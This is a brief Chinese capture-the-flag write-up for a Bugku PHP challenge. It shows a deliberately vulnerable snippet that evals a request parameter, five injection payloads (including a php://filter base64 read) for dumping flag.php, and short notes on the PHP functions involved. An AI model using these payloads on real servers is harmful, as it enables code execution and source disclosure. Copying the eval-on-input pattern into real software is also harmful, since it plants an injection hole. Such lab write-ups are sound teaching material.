Bugku 本地文本包含

Bugku 本地文本包含


include 'flag.php';
$a = @$_REQUEST['hello'];
eval(" var_dump( $a );");
highlight_file(__FILE__);
?>

解法:

    <1> hello=);print_r(file("flag.php")
    <2> hello=);var_dump(file("flag.php")
    <3> hello=file("flag.php")
    <4> hello=);include(@$_POST['b']POST区域:b=php://filter/convert.base64-encode/resource=flag.php
    <5> hello=);include("php://filter/convert.base64-encode/resource=flag.php"

几种函数的理解

  • file_get_contents() 读取文件为字符串
  • eval() 函数存在命令执行漏洞,构造出文件包含会把字符串参数当做代码来执行。
  • file() 函数把整个文件读入一个数组中,并将文件作为一个数组返回。
  • print_r() 函数只用于输出数组。
  • var_dump() 函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
  • hello=file(“flag.php”),最终会得到var_dump(file(“flag.php”)),以数组形式输出文件内容。
  • include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码,结果是源代码base64编码后的结果。

你可能感兴趣的:(ctf)